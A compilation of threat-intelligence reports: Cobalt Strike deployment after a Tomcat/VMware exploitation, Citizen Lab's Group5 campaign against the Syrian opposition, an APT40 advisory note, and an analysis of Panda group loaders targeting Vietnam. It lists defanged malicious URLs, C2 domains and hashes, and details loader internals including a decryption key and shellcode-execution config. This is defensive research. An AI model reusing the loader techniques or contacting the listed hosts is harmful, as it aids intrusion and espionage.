Following an exploitation of the Tomcat service (ws_TomcatService.exe), attackers executed the powershell.exe process, and in some cases, as reported by Microsoft, attackers deployed Cobalt Strike backdoors following an exploitation of a McAfee application mfeann.exe side loading DLL vulnerability.
Organizations downloaded the McAfee application into different persistent folders, such as Users\public, programdata, windows\help directories on the virtualization servers (persistent across profiles), together with the Cobalt Strike loader that was downloaded in the same folder and loaded by the McAfee process as it was executed (LockDown.dll). In some instances, Morphisec observed that the same attackers tried to drop these files directly into the VMware folder.
Other attackers, as reported by Rapid7, have downloaded Cobalt directly into the PowerShell process, which was identified and prevented by Morphisec’s patented Moving Target Defense (MTD) technology.
## Indicators of Compromise (IOCs)
**IPs**
hxxp://139.180.217[.]203:443/mac.ini
hxxp://139.180.217[.]203:443/mac.tmp
hxxp://139.180.217[.]203:443/tna.conf
hxxp://139.180.217[.]203:443/LockDown.dll
hxxp://api.rogerscorp[.]org:80
hxxp://185.112.83[.]116:8080/drv
**LockDown.dll**
a8e4c7a7a786572398c0f504b3c5df58ea02ca1865e0dd57e5c7ab6ac21177f6
8fd635ff70b99b4be59b149af86d1519d2047213b518501328b2add221b01372
Ded5ce04637c2114a0740b83623c0746adc645c3f5cb1a66e14bc6b59a648894
e7e7b19c255ea052bb3c59b5597cdc92e76abe4dab72dacb92b16b7029e0d72f
**mfeann.exe (McAfee)**
07bbd8a80b5377723b13dbb40a01ca44cbc203369f5e5652a25b448e27ca108c
These new vulnerabilities are bad news, but the good news for Morphisec customers is that our MTD technology prevents the execution of these backdoor attacks. Leading analysts, such as Gartner, are calling MTD a “game-changer” as it can uniquely detect and stop these types of zero-day attacks that often bypass NGAV, EDR, and other defenses. |
# Group5: Syria and the Iranian Connection
**August 2, 2016**
**Tagged:** Android, Cybersecurity, Iran, Malware, Mobile security, Surveillance, Syria, Targeted Threats
**Categories:** Adam Hulcoop, Bahr Abdul Razzak, John Scott-Railton, Katie Kleemola, Matt Brooks, Reports and Briefings
**By John Scott-Railton, Bahr Abdulrazzak, Adam Hulcoop, Matt Brooks, & Katie Kleemola**
*The Citizen Lab at the Munk School of Global Affairs, University of Toronto; Lookout Inc.*
## Executive Summary
This report describes an elaborately staged malware operation targeting the Syrian opposition. The operators have used a range of techniques to target Windows computers and Android phones, aiming to penetrate the systems of well-connected individuals in the Syrian opposition.
We first discovered the operation in late 2015 when a member of the Syrian opposition spotted a suspicious email containing a PowerPoint slideshow. From this initial message, we uncovered a watering hole website with malicious programs, malicious PowerPoint files, and Android malware, all apparently designed to appeal to members of the opposition.
Elements of the Syrian opposition have been targeted by malware campaigns since the early days of the conflict. Regime-linked malware groups, the Syrian Electronic Army, ISIS, and a group linked to Lebanon reported by FireEye in 2015 have all attempted to penetrate opposition computers and communications. Some of these operations are still active as of the time of writing. This report adds one more threat actor to the list: Group5, which we name to reflect the four other known malware groups.
Group5 stands out from previously reported operations: some of the tactics and tools used have not been observed in this conflict; the operators seem comfortable with Iranian Persian dialect tools and Iranian hosting companies; and they appear to have run elements of the operation from Iranian IP space. Like a chameleon, Group5 borrows opposition text and slogans for email messages and watering holes, showing evidence of good social engineering and targeting. However, Group5’s technical quality is low, and their operational security uneven. This is a common feature of many operations in the Syrian context: since the baseline security of many of the targets is very low, many successful threat actors seem to conserve (and in some cases not possess) more sophisticated techniques. We believe we identified Group5 early in its lifecycle, before all of the malware that had been staged and prepared could be deployed in a full campaign.
Our analysis indicates that Group5 is likely a new entrant in Syria, and we outline the circumstantial evidence pointing to an Iranian nexus. We do not conclusively attribute Group5 to a sponsor, although we suspect the interests of a state are present, in some form. Group5 is just the latest addition to an expanding cast of actors targeting Syrian opposition groups, and its entry into the conflict shows the continuing information security risks that they face.
## Background: The Perpetual Targeting of the Syrian Opposition
Syrians have experienced monitoring and blocking of their electronic communications for many years. As a result, many more technically literate Syrians have familiarized themselves with VPNs and other tools to circumvent simple blocking and achieve a degree of privacy. After the 2011 Uprising began, the regime disconnected telecommunications services in many areas controlled by opposition groups. This led to the widespread adoption of satellite internet connectivity, mostly via VSAT (Very Small Aperture Terminal) services like Tooway and iDirect, and to a lesser extent the use of BGAN (Broadband Global Area Network) terminals.
At the same time, the Syrian opposition’s activities outside the country, both in neighboring countries like Turkey, as well as in the diaspora, dramatically increased. Much of this activity takes place over social networks, free email accounts like Gmail, and via tools like Skype’s VoIP services.
These shifts in connectivity limited the effectiveness of the passive monitoring and blocking used by the Al Assad Regime and frustrated its abilities to monitor the opposition. However, the shift towards social networks and other online tools has created new opportunities for the regime to target the opposition. Opposition members constantly share information, files, tools, and programs via social media. This highly-connected environment enables them to be highly aware of changing events and quickly mobilize resources. In addition, a number of online services, such as the Google Play Store, are blocked or restricted for Syria. As a result, a culture of sharing Android APK files has also developed.
The heavy reliance on popular online platforms and regular sharing of tools presents many opportunities to seed malicious files. For the regime, a successful operation means a chance to regain visibility into the activities of groups within the geographic borders of Syria while extending their reach outside into the diaspora. For other groups, such as ISIS, the digital vulnerability of the opposition presents an opportunity to develop a capability against opposition communications.
### Regime-Linked Groups
The most well-known threat actor to target the Syrian Revolution is the Syrian Electronic Army (SEA). However, many of the targets of the SEA have been Western organizations, although the SEA continues to conduct lower-profile operations that include malware against the opposition. Less notorious, although still the subject of reporting, are malware groups linked to the regime. These malware groups have been active since 2011 and have used a wide range of Commercial-Off-The-Shelf (COTS) Remote Access Trojans (RATs) to target the opposition. Typically, these groups bundle RATs with a wide range of documents and programs designed to appeal to the opposition. Over the years, these campaigns have included everything from “revolution plans,” lists of “wanted suspects,” to fake security and encryption tools. These campaigns have been extensively characterized by reports from the Citizen Lab, The Electronic Frontier Foundation, and private companies like TrendMicro and Kaspersky.
### Pro-Regime Groups Outside Syria
There is also evidence of pro-Assad groups outside Syria participating in malware campaigns against the opposition. Notably, a group reported on in 2015 by FireEye used female avatars to send trojaned documents to high-profile figures in opposition politics, aid, and armed groups. The operation yielded over 31,000 conversations and a trove of sensitive information about a variety of groups’ plans and activities. This group also made use of fake matchmaking websites and social media accounts to backstop their deception.
### ISIS-Linked Groups
On a different side of the conflict, the Citizen Lab documented a malware operation linked to ISIS against the group ‘Raqqa is Being Slaughtered Silently’ (RBSS) in 2015. The operators, masquerading as a group of RBSS sympathizers based in Canada, targeted victims with a file that claimed to contain locations of ISIS forces and US Airstrikes within Syria. The file actually contained custom malware that collected and transmitted information about the infected computer. The report concluded that there was strong circumstantial evidence linking the malware to members of ISIS.
### Many Groups, Similar Tactics
Each of these groups has distinct Tactics, Techniques, and Procedures (TTPs). However, one common thread among the many publicly-reported groups is that they rarely use exploits in their campaigns, instead relying heavily on social engineering and trickery to convince targets to execute malicious files disguised as innocuous documents. This may reflect some of these groups’ lack of technical sophistication. For example, many regime-linked groups seem to have very limited skills and technical resources and rely almost entirely on RATs coupled with well-informed social engineering. These techniques have evolved but not improved radically since 2011. In other cases, such as the Lebanon-linked group reported on by FireEye, operators may have access to more sophisticated techniques but see little reason to use them against their targets, given the limited technical capabilities of the opposition.
## Part 1: Discovering Group5
This section describes the emails that first alerted us to an operation targeting the Syrian political opposition in October 2015. On October 3rd, 2015, Noura Al-Ameer, a well-connected Syrian opposition political figure, received a suspicious email. The email purported to come from a human rights documentation organization she had never heard of: “Assad Crimes.” The sender, using the email address office@assadcrimes[.]info, claimed to be sharing information about Iranian “crimes,” a theme familiar to many in the opposition.
Interestingly, Al-Ameer’s own name was used in the assadcrimes[.]info domain registration, along with other false information. Along with a brief pretext in the Subject and Body, the email also contains an attached Microsoft PowerPoint Slideshow (PPSX) document that, when clicked, directly opens and runs a PowerPoint slideshow.
### E-mail 1: The Initial Message (Dropper Doc 1)
On October 3rd, 2015, Al-Ameer received the initial email message, containing the first malicious file:
**Translation:**
- From: office@assadcrimes[.]info
- To:
- Subject: Iran is killing the Pilgrims in Mina
- Body: Iran’s Crimes in the Kingdom of Saudi Arabia
Examination of the header of the message indicates that the message was sent via 88.198.222[.]163, the same IP address as the Command & Control (C2) for the malware dropped by the file.
**Assadcrimes.ppsx**
MD5: 76F8142B4E52C671871B3DF87F10C30C
### Communication with the Operator
Al-Ameer, who is no stranger to digital threats, recognized that the email was suspicious and, on our instruction, made contact with the operator, hoping to elicit further malware.
**Al-Ameer’s E-mail:**
**Translation:**
- From: [Redacted]
- To: office@assadcrimes[.]info
- Body: Hello. The file didn’t work…. Please send a correct version.
### E-mail 2: The Operator Replies (Dropper Doc 2)
Shortly after the target’s message, the operator replied with an updated file, sent via a webmail client (RoundCube):
**Translation:**
- From: office@assadcrimes[.]info
- To: [Redacted]
- Body: inf* download
We are unsure why the second email does not contain additional social engineering text. It is possible this was an oversight, or that the Group5 operator at the time was not comfortable writing in Arabic.
**Assadcrimes1.ppsx**
MD5: F1F84EA3229DCA0CCACB7381A2F49F99
### Bait Content: Syria and Iran-Themed PowerPoint Slideshows
The PPSX documents (assadcrimes.ppsx & assadcrimes1.ppsx) contain a series of images and Arabic text, including cartoons and photographs describing politically sensitive events, such as aggressions launched by Iran against Saudi Arabia, and the politics surrounding the current Syrian conflict.
When opened, both files download malware onto the victim’s machine. Malware from these files is analyzed in Part 3: Windows Malware.
## Part 2: The Assadcrimes Website
Group5 operated a website, assadcrimes[.]info, that served as a watering hole for Android and Windows malware. This section outlines the various files hosted on the site.
After the initial emails, we began to monitor a website linked to the emails: assadcrimes[.]info. At the time of these emails (Oct. 3, 2015), the site was not fully functional. However, within a few days (Oct. 11, 2015), the main page displayed “Posts Tagged Bashar Assad Crimes” with content apparently critical of Bashar Assad. The content appears to have been scraped from an opposition blog, as well as from other opposition sites. This blog was created in the name of Tal al-Mallohi, known as Syria’s youngest prisoner of conscience. The original blog creation predates the current unrest in Syria.
Shortly before this publication of Group5, the website was listed as “expired” and parked, indicating that the owner chose not to renew the domain.
### Group5 Staging and Targeting
While monitoring the website, we identified several directories that auto-download a further malicious file (assadcrimes.info.ppsx). These links seem designed for other forms of social engineering, perhaps using similar bait to the messages targeting Al-Ameer.
**Assadcrimes.info.ppsx**
MD5: 30BB678DB3AD0140FC33ACD9803385C3
### Martyred Children (Decoy Dropper 4)
Elsewhere on the site, we found several HTML pages that, when visited, triggered the downloading of a malicious executable named “martyred children” (alshohadaa alatfal.exe). When executed, the program pulls images hosted on assadcrimes[.]info of the Ghouta Chemical Attacks while simultaneously infecting the target machine with malware.
**alshohadaa alatfal.exe**
MD5: 2FC276E1C06C3C78C6D7B66A141213BE
### Android Malware
While examining the assadcrimes[.]info website, we identified Android malware, seeded via a fake Adobe Flash Player update notification.
**adobe_flash_player.apk**
MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D
## Part 3: Windows Malware
Group5 used (or was staging) a range of malware in this operation, ranging from malicious PowerPoint slideshows using exploits to executable files that directly drop malware. A comprehensive analysis of their malware is found in Appendix A: Windows Malware Analysis.
### Malicious PowerPoint
The initial Group5 targeting that we observed in the emails to Al-Ameer included PPSX documents as a vehicle for malware using two different techniques: (1) executing OLE objects using animation actions within a PowerPoint slideshow and; (2) using CVE-2014-4114 to drop and execute malicious code.
In assadcrimes.ppsx, the operators embed an OLE Package object within a PowerPoint slideshow. When displayed as an animation, the object is executed while the slideshow is viewed. In this case, the user is presented with a prompt asking whether they wish to run the object.
In the assadcrimes1.ppsx, the operator has created a PowerPoint file that leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows operating system.
### Decoy Applications
The operators have also created a decoy application, hosted on assadcrimes[.]info, that displays images of child victims of the 2013 Ghouta Chemical Attacks. When executed, the application silently decrypts and drops the malware.
The operators use these techniques to deliver two commonly available Remote Access Trojans (RATs): njRat and NanoCore RAT. In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software.
Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files and spy on the computer user via the microphone or webcam.
### Antivirus Detection
On July 26, 2016, we conducted a VirusTotal search for the MD5 hashes of each of the files encountered during this operation. The results were consistent with a highly focused or targeted operation in that only two of the 16 (12.5%) unique MD5s were found.
## Part 4: The Android Malware
While examining assadcrimes[.]info, we determined that the site was also hosting a decoy Flash Player update page. This page included a download link to a malicious Android APK.
The APK is an instance of DroidJack. According to Symantec, this malware evolved from an older codebase known as SandroRAT. The RAT provides a wide range of functionality, enabling the operator to capture messages, contacts, photos, and other materials from the device. In addition, DroidJack can also remotely activate the phone camera and microphone without notifying the victim.
This approach to mobile malware seeding, while cumbersome, might be assumed to have greater success in the target group of Syrians than other populations. It is common for Syrians to share Android APK files outside the Google Play Store, as Google Play Services are not available within Syria. This practice carries over to the Syrian diaspora in other countries, despite the availability of Google Play. As a result, we suspect that most devices are set to accept APK files from unknown developers.
## Part 5: Attribution
Group5 left a number of clues as to their origin and identity, including the tools they used, where they hosted their website and C2, and how they accessed the website. Notably, Group5 may have also been using a customized version of an Iranian obfuscation tool.
### Unprotected Logs
Several key directories on the assadcrimes[.]info site were left as public, including a folder containing the website logs, a feature Group5 seems to have enabled early in the operation. These logs date to the early development and operation of the website and reveal interesting clues about operator origin and operational security.
Identifying the Operator from Website Logs: While the logs provided few clues as to victims, they proved to be exceptionally useful for identifying the IP addresses used by Group5 as they developed the site. Looking at the earliest logs in the set, from October 11, 2015, we find the operator accessing the site hourly from an Iranian IP block as the development continues.
### A Persian-language Mailer
Before the assadcrimes[.]info page was fully populated with decoy content, we found that the site was hosting a Persian-language mailer. We were not able to determine how the mailer was being used by Group5, as it was not observed sending any of the emails we were able to analyze.
### Links to Known Threat Actors
Group5 appears to have used only a single shared web hosting provider and a single command and control IP address for this operation. We are unsure whether this strategy was the product of limited resources, an effort to compartmentalize the operation from other activities, or simply a highly targeted operation with a specific focus.
The narrow infrastructure and small number of observed targets limited our search base for potential infrastructure overlap with known groups. In a holistic evaluation of the campaign, we failed to identify links with the TTPs of previously documented threat actors or groups active in Syria.
## Part 6: Analysis of Competing Hypotheses
This section evaluates several competing hypotheses for explaining the identity of the operator. While we cannot conclusively support one of these hypotheses, we think the most plausible is that this operation is the work of an Iranian group newly active in Syria.
We believe we found Group5 fairly early in the process of preparing a larger malware campaign, thanks to Noura Al-Ameer’s vigilance. This gave us unique visibility into some of their staging, but we had only a limited view of other possible targeting.
### Hypothesis 1: Iranian Group Newly Active in Syria
A group previously unreported in Syria with uneven skills but displaying thought and care in selecting the target, and preparing the operation, with an Iranian nexus and a possible government connection.
### Hypothesis 2: Known Regime-Linked Group
A known regime-linked group has modified its tactics to operate against familiar targets.
### Hypothesis 3: Other Unknown Group
An unknown group, not located in Iran and not linked to prior groups.
## Conclusion
When Syrian opposition figure Noura Al-Ameer sensed something wrong and refrained from clicking, she frustrated a reasonably well put together deception. We suspect she may have been targeted in order to steal her digital identity for the purposes of mounting a larger campaign. Beginning with this initial message, we were able to identify and characterize Group5, a seemingly new entrant into the game.
With the identification of Group5, the number of publicly identified operations known to have targeted the opposition with malware has risen to five: Regime-linked groups, a Lebanese Group, ISIS, and most recently Group5. We believe that the most compelling explanation of Group5’s activities is that a group in Iran may be attempting to compromise the communications of the opposition. The circumstantial evidence pointing to an Iranian group is unsurprising, given Iran’s active military engagement in Syria, and the sympathies of many in that country for the Assad regime.
However, mindful of the limits of our investigation, we stop short of conclusive statements of attribution about the identity of the operators or their possible sponsors. We hope that by publishing this report and sharing indicators, our work will be helpful to other researchers who may see pieces of the puzzle that we do not.
Despite the diversity of the groups targeting the Syrian opposition, they share general features: uneven or low technical sophistication plus good social engineering and well-informed targeting. These elements are characteristic of the majority of malware and phishing operations targeting the Syrian opposition over the past several years.
The continued targeting and entry of new groups reflect the continued weakness in the Syrian opposition’s digital security and the risks groups face when using popular online platforms for contested political activities. Operators targeting the Syrian opposition plainly do not need sophisticated tools, because easily available malware continues to “work” when paired with good social engineering. The technical requirement for entering the game is low, enabling unsophisticated groups to achieve successes while permitting more advanced groups to conserve better techniques for harder targets.
The lack of a centralized communications hierarchy can make opposition groups responsive and quick to adapt. However, decentralization also provides many opportunities for digital exploitation. Operators can target groups for long periods while remaining unnoticed, without fear of being spotted and blocked by a security team. Even when exploitation attempts are noticed, because the security of these groups relies on the behavior of individuals, it can be extremely difficult to ensure that more secure behaviors are adopted.
Opposition groups and their partners face many challenges, and we appreciate the difficulty of securing behavior. The infrastructure that we analyzed is, at the time of writing, apparently abandoned. However, we suspect that Group5, or the interests behind it, may be continuing to pursue efforts to target the opposition. We hope to reinforce the message that continued vigilance is necessary to defend against these operations. |
# APT 40 in Malaysia
The cert of Malaysia made an advisory on the 5th of February. It published many TTPs and IOCs on this group:
MyCERT observed an increase in the number of artifacts and victims involving a campaign against the Malaysian Government.
There are many interesting links: the first are this IP 195.12.50.168 and 167.99.72.82. In my Yeti, I found many relative observables on it:
hxxp://195.12.50.168/D2_de2o@sp0/ and hxxp://167.99.72.82/main.dotm. These URLs were used by a campaign discovered by ClearSky targeting Malaysia. The victimology is interesting because it concerns the transport industry.
Another interesting link with this advisory is related to another campaign in November. The malware used here is Dadjoke.
APT40 is an active Chinese group in South Asia, near the MSS (Intelligence Service of China) according to Intrusion Truth. |
# Quick Analysis and Removal Tool of New Malware Variants of Panda Group Targeting Vietnam VGCA
Through continuous cyber security monitoring and hunting malware samples used in the attack on Vietnam Government Certification Authority, we have discovered a series of new variants of the malware related to this group.
## I. Analyzing Loaders
Sample `2b15479eb7ec43f7a554dce40fe6a4263a889ba58673b7490a991e7d66703bc8` was discovered on VirusTotal on 11/06/2021, submitted from Vietnam. The remarkable point in this file is the `.NLS` (National Language Support) extension, but it’s exactly a DLL PE64. We conducted an in-depth analysis of this sample and determined it seems to be crafted by the same hacker who wrote and built `smanager_ssl.dll`, `msiscsi.dll`, `verifierpr.dll`, `wercplsupport.dll`.
**Hash:**
`2B15479EB7EC43F7A554DCE40FE6A4263A889BA58673B7490A991E7D66703BC8`
**Compiled time:** Tuesday, 04.08.2020 06:48:49 UTC
**Original DLL:** `DllSvchDtchX64.bin`
**Malicious file:** `C_20253.NLS`, in `\Windows\System32`
**Visual Studio version:** 2015, linker 14.0, update 3
**Coding language:** C
RichID information indicates that attackers used impersonating NLS in the `Windows\System32` and `Windows\SysWow64` folders, which contain config and C&C info during the attack on a large Vietnam corporation. After that, attackers upgraded in April 2020 to real PE(s) to perform other tasks.
`DllSvchDtchX64.bin` is written as a service DLL, and the code and style are exactly like the code of `smanager_ssl.dll` and `wercplsupport.dll`. The `ServiceMain`, `SvcCtrlHandler`, and `SetSvcStatus` functions are all the same.
### ServiceMain Function
Another small difference is that in addition to the global variable `g_dwServiceState`, the hacker has added another global variable, `g_dwSvcStopped`, to sleep continuously until this service of `DllSvchDtchX64.bin` was stopped by Windows. With this sample, the main task of executing malware code is not included in the `ServiceMain` function, but directly in the `DllMain` function.
### The SetSvcStatus Function
In the `DllMain` function, the malware decrypts the SID and Mutex name, creating a thread to execute another task. This SID and Mutex name are used in the `MainThreadProc` of the created thread. The encryption algorithm used by the hacker in this sample is Salsa/Chacha20. It can be detected by FindCrypt3 or Capa of FireEye.
Source code C implementing Salsa and Chacha algorithms is abundant in Lib Crypto libraries. The C source we decompiled is more similar to the source here: `http://cr.yp.to/snuffle/ecrypt.c`.
For decrypting the mutex name and SID, the hacker converts two hardcoded hex strings into a byte buffer using the `Hex2Bytes` function at address `0x7FFCD3492220`, and then feeds this buffer to the Salsa/Chacha20 function at address `0x7FFCD34914F0`.
After decrypting, we get:
1. SID = `S-1-5-18`
2. Mutex Name = `Global\24yQoCWKY3kbZexjzTR6hc7pHU1lI0EV`
SID = `S-1-5-18` is known as Local System, and DLL Services run under this account. Hackers declared and used a struct to save the config that regulates the operation of this malware family. This struct has `sizeof = 0x248` (584 decimal) and has been encrypted using the Salsa/Chacha20 algorithm.
### The Meaning of These Fields in This Struct
- `dwSizeData`: The actual size of the real data area from the `fExecuteShellcode` field
- `dwHash`: ROL 0xB hash of the whole data range from `rgbIv`
- `rgbIv`: 12-byte array, used as value for parameter `Iv` for `salsa_decrypt_bytes` function
- `fExecuteShellcode`: flag specifies whether the data area in the `rgbShellcode` array has shellcode data, and whether the malware will execute this shellcode or not
- `fCreateMutex`: flag determines whether or not to create a mutex with the above decoded name
- `fCheckSID`: check if the malware is being executed correctly in the above decrypted SID group
- `fCheckExePath`: check whether the executing malware has the correct Exe name or the correct Parent Exe name with the `szExePath` field
- `szExePath`: Name of Exe or Parent Exe that needed to be checked
- `dwShellcodeSize`: The actual size of the `rgbShellcode` area (rgb = Range of Bytes) or length (in bytes) of the shellcode file's path
- `rbgShellcode`: Shellcode or path of another dll or shellcode that needs to be loaded and executed
### Source Decompiler of MainThreadProc
Note: `g_config` is a global variable of the above struct `CConfig`. `0x14` (20) is the total size of the 3 fields: `DWORD dwSizeData`, `DWORD dwHash`, and `BYTE rgbIv[12]`.
After checking the correct size, the `Decrypt` function will decrypt the hardcoded config, encrypted with the decrypt Salsa/Chacha20 functions. The value of the local hash variable in the `Decrypt` function is calculated from the address of `rgbIv`, the loop size is the value of the field `dwSizeData + 0xC` (12 = sizeof(rgbIv)). If the hash value matches the `dwHash` field, the data region will be decoded.
The decryption key is the hardcoded string `"u0FBSP2dDyTLhIQ9MXsEexmH7JbiN3k"`, the Iv value is `rgbIv`, and the output decoding starts at the address of the `fExecuteShellcode` field (offset `0x14`). After decoding the hardcoded config, the malware starts checking flags, and flags that are set to 1 will call the corresponding check function.
### Function to Check User’s SID
The variable `g_pwszSID` is `WCHAR *` type, decrypted from the beginning (`"S-1-5-18"`). If the SID is equal (stricmp return 0), then the function will return TRUE.
### Function to Check Current Exe Name or Parent Exe Name
The function also returns TRUE when the Exe Name matches the `szExePath` field. The function creates mutex is the same as the regular `CreateMutex` functions. The value of `g_pwszMutexName` variable has been decoded from the beginning: `"Global\24yQoCWKY3kbZexjzTR6hc7pHU1lI0EV"`. The created Mutex will be saved to the `g_hMutex` global variable.
As shown in the figure of `MainThreadProc`, if the `fExecuteShellcode` field is set to 1, the shellcode will be executed as usual (VirtualAlloc, copy and execute). When it is 0, the shellcode file will be read from `rgbShellcode`.
`g_hInstDLL` is the HINSTANCE of the malware, running as a service DLL, assigned value at the Entrypoint `DllMain` function.
### Hunting the Same Loader
Based on the special hardcoded string `"u0FBSP2dDyTLhIQ9MXsEexmH7JbiN3k"`, we did a search on VirusTotal and Hybrid Analysis. There are many similar loaders, most of which are uploaded by users recently, from Vietnam, Korea, Japan, Hong Kong, and the latest is a sample from China.
Until yesterday, we have found and analyzed 7 more loader samples like this. The source code is completely the same, only the final build format is different (EXE or DLL). And it's all PE64, including the following samples:
1. `4578b3bf586658c47c8db1d497a8994d7637d28f16a11af9f6af64836085d4ed`
Build Exe
Flags = 0
Shellcode path: `stuffe.dll`
2. `8061df4d29ea57a420491f0db4bf37964070cc695f4b1b45af40e46194cc8c36`
Build Exe
Flags = 0
Shellcode path: `tmp01.dat`
3. `4b1928dbaf68e427db2f3971ea2ff5604d210ef0dee876d57281d7e395da8c37`
The impersonated file name is `C_892.NLS`
Build as Dll, original Dll name: `DllSvchDtchX64.bin`
Flags = 0
Shellcode path: `winsec.dll`
4. `d2beff6d7f5be68cdda36182d010e8103d86053fcc63f1166fec42727c26558d`
Build as Dll, original Dll name: `DllSvchDtchX64.bin`
Flags = 0
Shellcode path: `access.sys`
5. `d28984576620aebfa929767ad9453fe7549c969716d41ba49cbe6ca7fae72789`
Build as Exe
Flag `fExecuteShellcode` = 1
Shellcode size = `0x107A2` (67490)
6. `3714568d8c8b7359259e968664de3a6c13d6d7c16559dfb0a25f9aa8194e8de4`
Build as Dll, original Dll name: `DllHijkDtchX64.bin`
`fCreateMutex`, `fCheckSID`, `fCheckExePath` set 1
Exe Parent Name to check: `WmiApSrv.exe`
Shellcode path: `AxLnst.bin`
7. `b69d9ed06cba8eea081df01bad146abb004a4cf5fb6b296017d82ebb18975386`
Build as Exe
Flags = 0
Shellcode path: `koreanflass.bin`
## III. Hunting the Updated Malware of This Group
Continuing to hunt for signs of old malware samples that this group has used in campaigns targeted at Vietnam over the years, we found that this group still uses old samples, has updated code, and rebuilt with Visual Studio 2019, v16.4 or later. This group continues to use files that impersonate Windows' NLS files as config containers or as shellcode files.
The samples we collected were released recently, in May and June, also from the countries mentioned above. We collected and analyzed the following samples:
1. `5afc41060cf62d1613219caa108eb9714074479a413f4a26797c0358fc95a4db`
Built with Visual Studio 2019 v16.9
PDB Path: `C:\Users\VS\Desktop\Auto_Firefox\x64\Release\8.1.pdb`
Using CryptoPP, C++ style
Xor value: `0x28`
Build time: 08/06/2021 - 1:24:48 AM (UTC)
Export function: `ServiceMain`, run as a service Dll
Read and execute `MSIscSI.Dll` in the same directory and load `vsmapi.dll` in `SysWow64`, calling the `netEntryApi` export function.
2. `8dd13f34d1734d3c844474ce98a4f39244e511bafbefd59b18bb7fb0b52ce895`
Built with Visual Studio 2019 v16.9
PDB Path: `C:\Users\Machine\Desktop\Work\20200913\Auto_Firefox\x64\Release\8.pdb`
Using CryptoPP, C++ style
Build time: 19/09/2020 - 8:58:34 AM (UTC)
Export function: `NetworkChecker`
3. `9abf047566c6e9bd77120e8eb6c3503eef7c05dd4fd0abac9046d495291e5c8d`
Built with Visual Studio 2008, code C style
Export two functions `Run` and `main`. Two different functions but the code is exactly the same
PDB path: `C:\Dev\16\3\x64\Release\F71.pdb`
Build time: 01/06/2016 - 4:38:32 PM (UTC)
Impersonate as Windows `VfWWDM.dll` in Resource Version Info
C2 hardcoded, xor with `0x27`, is `"www.newshcm.com"`
Read two files that are NLS fake: `C_436.NLS` and `C_20130.NLS`. The xor value to decode the contents of 2 files is `0x26` and `0x27`.
4. `60fe689bafb1ce4def3fab1c91e69e46b223869314e4364fa8efb12e6a0bafba`
Built with Visual Studio 2019 v16.9, C style
PDB path: `C:\Users\VS\Desktop\Auto_Firefox\x64\Release\8.1.pdb`
Export function: `ServiceMain`
Xor value: `0x2B`, load dll `pubiapi.dll` in `Windows\SysWow64`, calling export function `netEntryApi` of this Dll.
5. `68e871190f405131635ccaa851339c9ca3f61c3b6a9d84dbd7afc99b65edd588`
Built with Visual Studio 2019 v16.9
Using CryptoPP, C++ style
Build time: 12/04/2021 - 9:18:26 PM (UTC)
Export function: `netEntryApi`
Load 2 fake NLS files: `C_4868.NLS` and `C_4869.NLS`.
6. `918ad6c918b26de1e112281393f6ced9141712484bb0da5f8250fb36fc0d476b`
Built with Visual Studio 2012, C style
PDB Path: `C:\Dev\17D\Release\7.pdb`
Build time: 30/04/2017 - 12:29:05 AM (UTC)
Export two functions are `Run` and `main`.
CC hardcoded, xor with `0x1B`, is `"www.sexphm.com"` and IP hardcoded `172.16.22.22`
Read two fake NLS files: `C_20831.NLS` and `C_20832.NLS` in `Windows\System32`.
7. `c092546e9db9424d454cc21047d847ad93424440e7a4d339fe58fa9a4d8f6913`
Is `vsmapi.dll` of (1)
Built with Visual Studio 2019 v16.9
Using CryptoPP, C++ style
PDB path: `C:\Users\VS\Desktop\Auto_Firefox\x64\Release\8.pdb`
Build time: 08/06/2021 - 1:24:51 AM (UTC)
Export function: `netEntryApi`
Load two fake NLS files: `C_4868.NLS` and `C_4869.NLS`.
Thus, we can see that the samples that this group used in this campaign are mostly rebuilt, besides some old samples in their inventory that have not been detected.
## IV. Analyzing Windows C_xxxx.NLS Files
The value `xxxx` is a number, which is a codepage identifier. For example, Vietnam has a codepage of 1258, the file `C_1258.nls` on Windows is for Vietnam.
The original Windows `C_xxxx.NLS` files are used for mapping and converting from MultiByte to Unicode characters. Two common API functions commonly used in Windows, `MultiByteToWideChar` and `WideCharToMultiByte`, are based on these `C_xxxx.nls` files corresponding to the current Windows Codepage on the user's machine.
On Windows 2000 and XP operating systems, these `.nls` files are not included in the list of Windows Protection Files, only `.exe`, `.dll`, `.sys`, `.ocx` files. From Windows Vista onwards, the list of Windows Protection Files file types is expanded, and the `.nls` file is added.
The `C_xxx.nls` files are installed when the user installs Windows, located in the `Windows\System32` and `Windows\WinSXS\` folders in several subfolders named `xxx.codepage-core.xxx` and `xxx.codepage-additional-xxx`.
These `C_xxxx.nls` files all have Owner Trust Installer; users with System and Administrators rights can only read, no change rights. When trying to switch Owner and change these files, Windows Resource Protection will notify and recover immediately.
When the user installs Windows, the list of `C_xxxx.nls` files created by Windows is located at `KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage`. The name value is the codepage number, and the Data value is the codepage file name.
## V. Tools to Check the Number of Codepages and Scan Fake NLS Files
After analyzing the structure of an official, original Windows `C_xxxx.NLS` file, VinCSS has developed two tools to check and scan fake NLS files of this group. These two tools are written in Delphi (Object Pascal) and built with Free Embarcadero Delphi Community Edition.
1. **CheckCP:**
Based on the `EnumSystemCodePages` API function with two parameters `CP_INSTALLED` and `CP_SUPPORTED`, `CheckCP` will display a list of installed and supported codepages on the current Windows. If you detect a suspicious `C_xxxx.NLS` file, you can enter that number into the `CheckCP` program to check if the codepage number is fake or belongs to Windows.
2. **NLSScan.exe:**
`NLSScan` is the main program to scan all `C_xxxx.NLS` files in `Windows\SysWow64` and `Windows\System32` folders, deep into all subfolders. This file is built with 32bit mode, running on old Windows such as XP and 2000 because there is a high possibility that many computers in organizations still use these operating systems.
When `NLSScan` detects fake NLS files, the tool will ask the user for permission to copy those files to the `%TEMP%` folder and delete them. If the tool fails to remove it, `NLSScan` will prompt you to reboot to delete it at the next reboot.
When `NLSScan` has detected a fake NLS file, it is almost certain that your computer has been infected with some malware of this group. You should disconnect from the Internet, rescan your system with AV programs, change the passwords, and review all security factors.
We hope you will share these tools to scan all Windows-based computers in Vietnamese companies, agencies, organizations, and economic groups. In our opinion, this group is very dangerous and may have been able to penetrate and lie deep inside undetected for a long time, causing great harm to Vietnam.
Sincerely,
